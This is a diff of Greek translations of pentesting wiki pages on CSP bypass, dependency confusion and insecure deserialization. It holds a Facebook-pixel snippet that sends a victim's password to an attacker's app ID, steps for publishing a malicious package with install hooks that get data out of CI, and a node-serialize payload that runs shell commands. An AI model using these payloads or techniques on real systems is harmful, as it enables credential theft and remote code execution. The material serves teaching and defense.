cdn.jsdelivr.net | Exec | @@ -317,19 +322,19 @@ Content-Security-Policy​: connect-src www.facebook.com;​ 1. Δημιουργήστε έναν λογαριασμό Facebook Developer εδώ. 2. Δημιουργήστε μια νέα εφαρμογή "Facebook Login" και επιλέξτε "Website". -3. Μεταβείτε στις "Ρυθμίσεις -> Βασικές" και αποκτήστε το "App ID" σας. -4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας τη συσκευή Facebook SDK "fbq" μέσω ενός "customEvent" και του payload δεδομένων. -5. Μεταβείτε στον "Διαχειριστή Εκδηλώσεων" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο διαχειριστής εκδηλώσεων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events -6. Επιλέξτε την καρτέλα "Δοκιμαστικές Εκδηλώσεις" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "δικό σας" ιστότοπο. +3. Μεταβείτε στο "Settings -> Basic" και αποκτήστε το "App ID" σας. +4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας την συσκευή SDK του Facebook "fbq" μέσω ενός "customEvent" και του payload δεδομένων. +5. Μεταβείτε στο "Event Manager" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο διαχειριστής εκδηλώσεων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events). +6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "δικό σας" ιστότοπο. -Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το Facebook tracking pixel ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή: +Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το pixel παρακολούθησης του Facebook ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή: ```JavaScript fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account fbq('trackCustom', 'My-Custom-Event',{​ data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​ }); ``` -Όσον αφορά τα άλλα επτά τρίτα μέρη που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τα εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη [ανάρτηση στο blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για επιπλέον εξηγήσεις σχετικά με άλλες καταχρήσεις τρίτων. +Όσον αφορά τους άλλους επτά τρίτους τομείς που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τους εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη [ανάρτηση στο blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για επιπλέον εξηγήσεις σχετικά με άλλες καταχρήσεις τρίτων. ### Bypass via RPO (Relative Path Overwrite) @@ -339,11 +344,11 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe ```html ``` -Ο περιηγητής θα φορτώσει τελικά `https://example.com/scripts/angular/angular.js`. +Ο περιηγητής θα φορτώσει τελικά το `https://example.com/scripts/angular/angular.js`. -Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από `https://example.com/scripts/react/`, το οποίο είναι συμβατό με CSP. +Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από το `https://example.com/scripts/react/`, το οποίο είναι συμβατό με το CSP. -∑, θα το αποκωδικοποιήσουν, ζητώντας ουσιαστικά `https://example.com/scripts/react/../angular/angular.js`, το οποίο είναι ισοδύναμο με `https://example.com/scripts/angular/angular.js`. +∑, θα το αποκωδικοποιήσουν, ζητώντας ουσιαστικά το `https://example.com/scripts/react/../angular/angular.js`, το οποίο είναι ισοδύναμο με το `https://example.com/scripts/angular/angular.js`. Με **την εκμετάλλευση αυτής της ασυνέπειας στην ερμηνεία URL μεταξύ του περιηγητή και του διακομιστή, οι κανόνες διαδρομής μπορούν να παρακαμφθούν**. @@ -353,6 +358,7 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h ### Εκτέλεση JS σε Iframes + {{#ref}} ../xss-cross-site-scripting/iframes-in-xss-and-csp.md {{#endref}} @@ -361,29 +367,29 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h Εάν η οδηγία **base-uri** λείπει, μπορείτε να την εκμεταλλευτείτε για να εκτελέσετε μια [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html). -Επιπλέον, εάν η **σελίδα φορτώνει ένα σενάριο χρησιμοποιώντας μια σχετική διαδρομή** (όπως ` ``` -### Εκμετάλλευση του `null` Origin +### Εκμετάλλευση της `null` Προέλευσης -Ο `null` origin, που καθορίζεται για καταστάσεις όπως ανακατευθύνσεις ή τοπικά αρχεία HTML, κατέχει μια μοναδική θέση. Ορισμένες εφαρμογές επιτρέπουν αυτόν τον origin για να διευκολύνουν την τοπική ανάπτυξη, επιτρέποντας ακούσια σε οποιαδήποτε ιστοσελίδα να μιμηθεί έναν `null` origin μέσω ενός sandboxed iframe, παρακάμπτοντας έτσι τους περιορισμούς CORS. +Η `null` προέλευση, που καθορίζεται για καταστάσεις όπως ανακατευθύνσεις ή τοπικά αρχεία HTML, κατέχει μια μοναδική θέση. Ορισμένες εφαρμογές επιτρέπουν αυτή την προέλευση για να διευκολύνουν την τοπική ανάπτυξη, επιτρέποντας ακούσια σε οποιαδήποτε ιστοσελίδα να μιμείται μια `null` προέλευση μέσω ενός sandboxed iframe, παρακάμπτοντας έτσι τους περιορισμούς CORS. ```html ## SS-Leaks -Αυτή είναι μια **μείξη** μεταξύ **dangling markup και XS-Leaks**. Από τη μία πλευρά, η ευπάθεια επιτρέπει να **εισαχθεί HTML** (αλλά όχι JS) σε μια σελίδα της **ίδιας προέλευσης** με αυτήν που θα επιτεθούμε. Από την άλλη πλευρά, δεν θα **επιτεθούμε** άμεσα στη σελίδα όπου μπορούμε να εισάγουμε HTML, αλλά σε **άλλη σελίδα**. +Αυτή είναι μια **μείξη** μεταξύ **dangling markup και XS-Leaks**. Από τη μία πλευρά, η ευπάθεια επιτρέπει να **εισαχθεί HTML** (αλλά όχι JS) σε μια σελίδα της **ίδιας προέλευσης** με αυτήν που θα επιτεθούμε. Από την άλλη πλευρά, δεν θα **επιτεθούμε** άμεσα στη σελίδα όπου μπορούμε να εισάγουμε HTML, αλλά σε **μια άλλη σελίδα**. {{#ref}} ss-leaks.md @@ -205,7 +205,7 @@ ss-leaks.md ## XS-Search/XS-Leaks -XS-Search είναι προσανατολισμένα να **εξάγουν πληροφορίες από διαφορετικές προελεύσεις** εκμεταλλευόμενα **επιθέσεις πλευρικού καναλιού**. Επομένως, είναι μια διαφορετική τεχνική από το Dangling Markup, ωστόσο, ορισμένες από τις τεχνικές εκμεταλλεύονται την εισαγωγή HTML ετικετών (με και χωρίς εκτέλεση JS), όπως [**CSS Injection**](../xs-search/index.html#css-injection) ή [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.** +XS-Search είναι προσανατολισμένα να **εξάγουν πληροφορίες από διαφορετικές προελεύσεις** εκμεταλλευόμενα **επιθέσεις πλευρικών καναλιών**. Επομένως, είναι μια διαφορετική τεχνική από το Dangling Markup, ωστόσο, ορισμένες από τις τεχνικές εκμεταλλεύονται την εισαγωγή HTML ετικετών (με και χωρίς εκτέλεση JS), όπως [**CSS Injection**](../xs-search/index.html#css-injection) ή [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.** {{#ref}} ../xs-search/ diff --git a/src/pentesting-web/dependency-confusion.md b/src/pentesting-web/dependency-confusion.md index 4a2c31e84..5c7549568 100644 --- a/src/pentesting-web/dependency-confusion.md +++ b/src/pentesting-web/dependency-confusion.md @@ -18,7 +18,7 @@ ## Exploitation > [!WARNING] -> Σε όλες τις περιπτώσεις, ο επιτιθέμενος χρειάζεται μόνο να δημοσιεύσει ένα κακόβουλο πακέτο με το ίδιο όνομα όπως η εξάρτηση από την οποία επιλύει η κατασκευή σας από ένα δημόσιο μητρώο. Οι hooks κατά την εγκατάσταση (π.χ., npm scripts) ή οι διαδρομές κώδικα κατά την εισαγωγή συχνά δίνουν εκτέλεση κώδικα. +> Σε όλες τις περιπτώσεις, ο επιτιθέμενος χρειάζεται μόνο να δημοσιεύσει ένα κακόβουλο πακέτο με το ίδιο όνομα όπως η εξάρτηση που επιλύει η κατασκευή σας από ένα δημόσιο μητρώο. Οι hooks κατά την εγκατάσταση (π.χ., npm scripts) ή οι διαδρομές κώδικα κατά την εισαγωγή συχνά δίνουν εκτέλεση κώδικα. ### Misspelled & Inexistent @@ -26,7 +26,7 @@ ### Unspecified Version / “Best-version” selection across indexes -Οι προγραμματιστές συχνά αφήνουν τις εκδόσεις μη καθορισμένες ή επιτρέπουν ευρείες γκάμες. Όταν ένας επιλυτής είναι ρυθμισμένος με εσωτερικούς και δημόσιους δείκτες, μπορεί να επιλέξει την πιο πρόσφατη έκδοση ανεξαρτήτως πηγής. Για εσωτερικά ονόματα όπως το `requests-company`, εάν ο εσωτερικός δείκτης έχει `1.0.1` αλλά ένας επιτιθέμενος δημοσιεύει `1.0.2` στο δημόσιο μητρώο και ο επιλυτής σας θεωρεί και τα δύο, το δημόσιο πακέτο μπορεί να κερδίσει. +Οι προγραμματιστές συχνά αφήνουν τις εκδόσεις μη καθορισμένες ή επιτρέπουν ευρείες γκάμες. Όταν ένας επιλυτής είναι ρυθμισμένος με εσωτερικούς και δημόσιους δείκτες, μπορεί να επιλέξει την πιο πρόσφατη έκδοση ανεξαρτήτως πηγής. Για εσωτερικά ονόματα όπως `requests-company`, εάν ο εσωτερικός δείκτης έχει `1.0.1` αλλά ένας επιτιθέμενος δημοσιεύει `1.0.2` στο δημόσιο μητρώο και ο επιλυτής σας θεωρεί και τα δύο, το δημόσιο πακέτο μπορεί να κερδίσει. ## AWS Fix @@ -45,9 +45,9 @@ - Grep repos και CI configs για μανιφέστα/lock files και εσωτερικά namespaces. - Αναζητήστε συγκεκριμένα προθέματα οργανώσεων (π.χ., `@company/*`, `company-*`, εσωτερικά groupIds, πρότυπα NuGet ID, ιδιωτικές διαδρομές module για Go, κ.λπ.). - Ελέγξτε δημόσια μητρώα για διαθεσιμότητα: -- Εάν το όνομα δεν είναι δημόσια καταχωρημένο, καταχωρήστε το; εάν υπάρχει, προσπαθήστε να κάνετε hijacking υποεξαρτήσεων στοχεύοντας εσωτερικά μεταβατικά ονόματα. +- Εάν το όνομα δεν είναι δημόσια καταχωρημένο, καταχωρήστε το; εάν υπάρχει, προσπαθήστε να εκμεταλλευτείτε την υποεξάρτηση στοχεύοντας εσωτερικά μεταβατικά ονόματα. - Δημοσιεύστε με προτεραιότητα: -- Επιλέξτε μια semver που “κερδίζει” (π.χ., μια πολύ υψηλή έκδοση) ή ταιριάζει με τους κανόνες του επιλυτή. +- Επιλέξτε μια semver που “κερδίζει” (π.χ., μια πολύ υψηλή έκδοση) ή ταιριάζει στους κανόνες του επιλυτή. - Συμπεριλάβετε ελάχιστη εκτέλεση κατά την εγκατάσταση όπου είναι εφαρμόσιμο (π.χ., npm `preinstall`/`install`/`postinstall` scripts). Για Python, προτιμήστε διαδρομές εκτέλεσης κατά την εισαγωγή, καθώς οι wheels συνήθως δεν εκτελούν αυθαίρετο κώδικα κατά την εγκατάσταση. - Εξαγωγή ελέγχου: - Βεβαιωθείτε ότι επιτρέπεται η έξοδος από το CI προς το ελεγχόμενο endpoint σας; αλλιώς χρησιμοποιήστε DNS queries ή μηνύματα σφάλματος ως side-channel για να αποδείξετε την εκτέλεση κώδικα. @@ -60,8 +60,8 @@ Στρατηγικές υψηλού επιπέδου που λειτουργούν σε οικοσυστήματα: - Χρησιμοποιήστε μοναδικά εσωτερικά namespaces και συνδέστε τα σε ένα μόνο μητρώο. -- Αποφύγετε την ανάμειξη επιπέδων εμπιστοσύνης κατά την επίλυση. Προτιμήστε ένα μόνο εσωτερικό μητρώο που προξενεί εγκεκριμένα δημόσια πακέτα αντί να δίνετε στους διαχειριστές πακέτων και τα δύο εσωτερικά και δημόσια endpoints. -- Για διαχειριστές που το υποστηρίζουν, χαρτογραφήστε τα πακέτα σε συγκεκριμένες πηγές (κανένα παγκόσμιο “best-version” σε μητρώα). +- Αποφύγετε την ανάμειξη επιπέδων εμπιστοσύνης κατά την επίλυση. Προτιμήστε ένα μόνο εσωτερικό μητρώο που προξενεί εγκεκριμένα δημόσια πακέτα αντί να δίνετε στους διαχειριστές πακέτων τόσο εσωτερικά όσο και δημόσια endpoints. +- Για διαχειριστές που το υποστηρίζουν, χαρτογραφήστε τα πακέτα σε συγκεκριμένες πηγές (κανένα παγκόσμιο “καλύτερο-έκδοση” σε μητρώα). - Κλειδώστε και κλειδώστε: - Χρησιμοποιήστε lockfiles που καταγράφουν τα URLs του επιλυμένου μητρώου (npm/yarn/pnpm) ή χρησιμοποιήστε hash/attestation pinning (pip `--require-hashes`, Gradle dependency verification). - Εμποδίστε την δημόσια επιστροφή για εσωτερικά ονόματα στο επίπεδο του μητρώου/δικτύου. @@ -70,7 +70,7 @@ ## Ecosystem Notes and Secure Config Snippets -Παρακάτω είναι πρακτικές, ελάχιστες ρυθμίσεις για να μειώσετε ή να εξαλείψετε τη διαταραχή εξάρτησης. Προτιμήστε να επιβάλλετε αυτές τις ρυθμίσεις σε CI και περιβάλλοντα ανάπτυξης. +Παρακάτω είναι πρακτικές, ελάχιστες ρυθμίσεις για να μειώσετε ή να εξαλείψετε τη διαταραχή εξάρτησης. Προτιμήστε να επιβάλλετε αυτές σε CI και περιβάλλοντα ανάπτυξης. ### JavaScript/TypeScript (npm, Yarn, pnpm) @@ -115,7 +115,7 @@ Operational tips: Core rule: Μην χρησιμοποιείτε `--extra-index-url` για να αναμειγνύετε επίπεδα εμπιστοσύνης. Είτε: - Εκθέστε έναν μόνο εσωτερικό δείκτη που προξενεί και αποθηκεύει τα εγκεκριμένα πακέτα PyPI, είτε -- Χρησιμοποιήστε ρητή επιλογή δείκτη και κωδικοποίηση hash. +- Χρησιμοποιήστε ρητή επιλογή δείκτη και pinning hash. pip.conf ``` @@ -172,7 +172,7 @@ Maven settings.xml (καθρέφτης όλα στο εσωτερικό; απα ``` -Προσθέστε Enforcer για να απαγορεύσετε τα αποθετήρια που δηλώνονται στα POMs και να επιβάλετε τη χρήση του καθρέφτη σας: +Προσθέστε Enforcer για να απαγορεύσετε τα αποθετήρια που δηλώνονται σε POMs και να επιβάλετε τη χρήση του καθρέφτη σας: ``` org.apache.maven.plugins @@ -215,7 +215,7 @@ export GONOSUMDB=*.corp.example.com,github.com/your-org/* ``` ### Rust (Cargo) -Αντικαταστήστε το crates.io με έναν εγκεκριμένο εσωτερικό καθρέφτη ή κατάλογο προμηθευτή για τις κατασκευές. Μην επιτρέπετε αυθαίρετη δημόσια εναλλακτική λύση. +Αντικαταστήστε το crates.io με έναν εγκεκριμένο εσωτερικό καθρέφτη ή κατάλογο προμηθευτή για τις κατασκευές. Μην επιτρέπετε αυθαίρερη δημόσια εναλλακτική λύση. .cargo/config.toml ``` @@ -229,7 +229,7 @@ registry = "https://crates-mirror.corp.example/index" ### Ruby (Bundler) -Χρησιμοποιήστε μπλοκ πηγών και απενεργοποιήστε τα Gemfiles πολλαπλών πηγών ώστε τα gems να προέρχονται μόνο από το προοριζόμενο αποθετήριο. +Χρησιμοποιήστε μπλοκ πηγών και απενεργοποιήστε τα Gemfiles πολλαπλών πηγών ώστε οι γέμισες να προέρχονται μόνο από το προορισμένο αποθετήριο. Gemfile ``` @@ -252,15 +252,15 @@ bundle config set disable_multisource true - Ιδιωτικό μητρώο ως μοναδική είσοδος: - Χρησιμοποιήστε Artifactory/Nexus/CodeArtifact/GitHub Packages/Azure Artifacts ως το μόνο σημείο πρόσβασης που μπορούν να φτάσουν οι προγραμματιστές/CI. -- Εφαρμόστε κανόνες αποκλεισμού/επιτρεπόμενων ώστε οι εσωτερικές ονομασίες να μην επιλύονται ποτέ από δημόσιες πηγές upstream. +- Εφαρμόστε κανόνες αποκλεισμού/επιτρεπόμενων ώστε οι εσωτερικές ονομασίες να μην επιλύονται ποτέ από δημόσιες πηγές ανάντη. - Τα lockfiles είναι αμετάβλητα στο CI: -- npm: δεσμεύστε το `package-lock.json`, χρησιμοποιήστε το `npm ci`. -- Yarn: δεσμεύστε το `yarn.lock`, χρησιμοποιήστε το `yarn install --immutable`. -- Python: δεσμεύστε το κατακερματισμένο `requirements.txt`, επιβάλετε το `--require-hashes`. +- npm: δεσμεύστε το `package-lock.json`, χρησιμοποιήστε `npm ci`. +- Yarn: δεσμεύστε το `yarn.lock`, χρησιμοποιήστε `yarn install --immutable`. +- Python: δεσμεύστε το κατακερματισμένο `requirements.txt`, επιβάλετε `--require-hashes`. - Gradle: δεσμεύστε το `verification-metadata.xml` και αποτύχετε σε άγνωστα αρχεία. - Έλεγχος εξόδου: αποκλείστε την άμεση πρόσβαση από το CI σε δημόσια μητρώα εκτός μέσω του εγκεκριμένου proxy. -- Διατήρηση ονομάτων: προεγγραφείτε στα εσωτερικά σας ονόματα/ονομασίες σε δημόσια μητρώα όπου υποστηρίζεται. -- Προέλευση πακέτου / πιστοποιήσεις: όταν δημοσιεύετε δημόσια πακέτα, ενεργοποιήστε την προέλευση/πιστοποιήσεις για να κάνετε την παραχάραξη πιο ανιχνεύσιμη downstream. +- Κράτηση ονομάτων: προεγγραφείτε στα εσωτερικά σας ονόματα/ονομασίες σε δημόσια μητρώα όπου υποστηρίζεται. +- Προέλευση πακέτου / πιστοποιήσεις: όταν δημοσιεύετε δημόσια πακέτα, ενεργοποιήστε την προέλευση/πιστοποιήσεις για να κάνετε την παραχάραξη πιο ανιχνεύσιμη προς τα κάτω. ## Αναφορές diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index fbca5a3ad..d425b3c9b 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -8,7 +8,7 @@ **Deserialization**, αντιθέτως, είναι η διαδικασία που αντενδρά στη serialization. Περιλαμβάνει τη λήψη δεδομένων που έχουν δομηθεί σε μια συγκεκριμένη μορφή και την ανακατασκευή τους πίσω σε ένα αντικείμενο. -Η deserialization μπορεί να είναι επικίνδυνη επειδή δυνητικά **επιτρέπει στους επιτιθέμενους να χειρίζονται τα serialized δεδομένα για να εκτελέσουν επιβλαβή κώδικα** ή να προκαλέσουν απροσδόκητη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου. +Η deserialization μπορεί να είναι επικίνδυνη επειδή **επιτρέπει στους επιτιθέμενους να χειρίζονται τα serialized δεδομένα για να εκτελέσουν επιβλαβή κώδικα** ή να προκαλέσουν απροσδόκητη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου. ## PHP @@ -96,13 +96,14 @@ This is a test
Μπορείτε να καταχραστείτε τη λειτουργικότητα αυτόματης φόρτωσης PHP για να φορτώσετε αυθαίρετα αρχεία php και περισσότερα: + {{#ref}} php-deserialization-+-autoload-classes.md {{#endref}} ### Serializing Referenced Values -Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως **αναφορά σε άλλη τιμή που έχει σειριοποιηθεί**, μπορείτε: +Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως **αναφορά σε άλλη σειριοποιημένη τιμή**, μπορείτε: ```php param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` -### Αποτροπή PHP Object Injection με το `allowed_classes` +### Αποτροπή PHP Object Injection με `allowed_classes` > [!INFO] > Η υποστήριξη για το **δεύτερο επιχείρημα** της `unserialize()` (τον πίνακα `$options`) προστέθηκε στην **PHP 7.0**. Σε παλαιότερες εκδόσεις, η συνάρτηση δέχεται μόνο τη σειριοποιημένη συμβολοσειρά, καθιστώντας αδύνατη την περιορισμένη δημιουργία κλάσεων. @@ -160,17 +161,17 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"";} ``` Μόλις ο διαχειριστής είδε την καταχώρηση, το αντικείμενο δημιουργήθηκε και εκτελέστηκε το `SomeClass::__destruct()`, με αποτέλεσμα την εκτέλεση αυθαίρετου κώδικα. -**Σημαντικά σημεία** +**Σημειώσεις** 1. Πάντα να περνάτε `['allowed_classes' => false]` (ή μια αυστηρή λευκή λίστα) όταν καλείτε το `unserialize()`. -2. Ελέγξτε τις αμυντικές περιτυλίξεις – συχνά ξεχνούν τις κληρονομημένες PHP διακλαδώσεις. -3. Η αναβάθμιση σε **PHP ≥ 7.x** από μόνη της *δεν* είναι επαρκής: η επιλογή πρέπει να παρέχεται ρητά. +2. Ελέγξτε τις αμυντικές περιτυλίξεις – συχνά ξεχνούν τους κληρονόμους PHP παλαιάς έκδοσης. +3. Η αναβάθμιση σε **PHP ≥ 7.x** από μόνη της *δεν είναι* επαρκής: η επιλογή πρέπει να παρέχεται ρητά. --- ### PHPGGC (ysoserial για PHP) [**PHPGGC**](https://github.com/ambionics/phpggc) μπορεί να σας βοηθήσει να δημιουργήσετε payloads για να εκμεταλλευτείτε τις PHP deserializations.\ -Σημειώστε ότι σε πολλές περιπτώσεις **δεν θα μπορείτε να βρείτε τρόπο να εκμεταλλευτείτε μια deserialization στον πηγαίο κώδικα** της εφαρμογής, αλλά μπορεί να μπορείτε να **εκμεταλλευτείτε τον κώδικα εξωτερικών PHP επεκτάσεων.**\ +Σημειώστε ότι σε πολλές περιπτώσεις **δεν θα μπορείτε να βρείτε τρόπο να εκμεταλλευτείτε μια deserialization στον πηγαίο κώδικα** της εφαρμογής, αλλά μπορεί να μπορείτε να **εκμεταλλευτείτε τον κώδικα εξωτερικών επεκτάσεων PHP.**\ Έτσι, αν μπορείτε, ελέγξτε το `phpinfo()` του διακομιστή και **αναζητήστε στο διαδίκτυο** (ακόμα και στα **gadgets** του **PHPGGC**) κάποια πιθανά gadgets που θα μπορούσατε να εκμεταλλευτείτε. ### phar:// metadata deserialization @@ -178,6 +179,7 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"";} Αν έχετε βρει ένα LFI που απλώς διαβάζει το αρχείο και δεν εκτελεί τον php κώδικα μέσα σε αυτό, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως _**file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize()**_**.** Μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια **deserialization** που συμβαίνει όταν **διαβάζετε** ένα **αρχείο** χρησιμοποιώντας το **phar** πρωτόκολλο.\ Για περισσότερες πληροφορίες διαβάστε την παρακάτω ανάρτηση: + {{#ref}} ../file-inclusion/phar-deserialization.md {{#endref}} @@ -205,7 +207,7 @@ print(base64.b64encode(pickle.dumps(P()))) ### Yaml **&** jsonpickle -Η παρακάτω σελίδα παρουσιάζει την τεχνική για **κατάχρηση μιας μη ασφαλούς αποσυμπίεσης σε yamls** βιβλιοθήκες python και τελειώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE payload αποσυμπίεσης για **Pickle, PyYAML, jsonpickle και ruamel.yaml**: +Η παρακάτω σελίδα παρουσιάζει την τεχνική για **κατάχρηση μιας μη ασφαλούς αποσυμπίεσης σε yamls** βιβλιοθήκες python και τελειώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE deserialization payload για **Pickle, PyYAML, jsonpickle και ruamel.yaml**: {{#ref}} python-yaml-deserialization.md @@ -222,9 +224,9 @@ python-yaml-deserialization.md ### JS Magic Functions JS **δεν έχει "μαγικές" συναρτήσεις** όπως PHP ή Python που θα εκτελούνται μόνο και μόνο για να δημιουργήσουν ένα αντικείμενο. Αλλά έχει κάποιες **συναρτήσεις** που χρησιμοποιούνται **συχνά ακόμα και χωρίς να τις καλείτε άμεσα** όπως **`toString`**, **`valueOf`**, **`toJSON`**.\ -Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπων) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται. +Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπου) και θα μπορούσατε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται. -Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια async συνάρτηση** (υπόσχεση). Διότι, αν **μετατρέψετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτό το σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._ +Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια ασύγχρονη συνάρτηση** (υπόσχεση). Διότι, αν **μετασχηματίσετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτόν τον σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._ ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: @@ -252,6 +254,7 @@ test_then() Αν θέλετε να μάθετε για αυτή την τεχνική **ρίξτε μια ματιά στο παρακάτω tutorial**: + {{#ref}} nodejs-proto-prototype-pollution/ {{#endref}} @@ -271,7 +274,7 @@ var serialize = require("node-serialize") var payload_serialized = serialize.serialize(y) console.log("Serialized: \n" + payload_serialized) ``` -Το **σειριοποιημένο αντικείμενο** θα φαίνεται όπως: +Το **serialised object** θα φαίνεται όπως: ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` @@ -285,7 +288,7 @@ console.log("Serialized: \n" + payload_serialized) Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, **αν βρεθεί η σημαία** χρησιμοποιείται το `eval` για να αποσειριοποιήσει τη συνάρτηση, οπότε βασικά **η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση `eval`**. -Ωστόσο, **απλά η σειριοποίηση** μιας συνάρτησης **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\ +Ωστόσο, **απλά σειριοποιώντας** μια συνάρτηση **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\ Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** ώστε να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται.\ Στο επόμενο κομμάτι κώδικα **προσέξτε την τελευταία παρένθεση** και πώς η συνάρτηση `unserialize` θα εκτελέσει αυτόματα τον κώδικα: ```javascript @@ -306,9 +309,9 @@ serialize.unserialize(test) ### [funcster](https://www.npmjs.com/package/funcster) -Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η απροσβλητότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτή η περιοριστική πολιτική αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`. +Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η μη προσβασιμότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτή η περιοριστική πολιτική αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`. -Παρά αυτόν τον περιορισμό, η 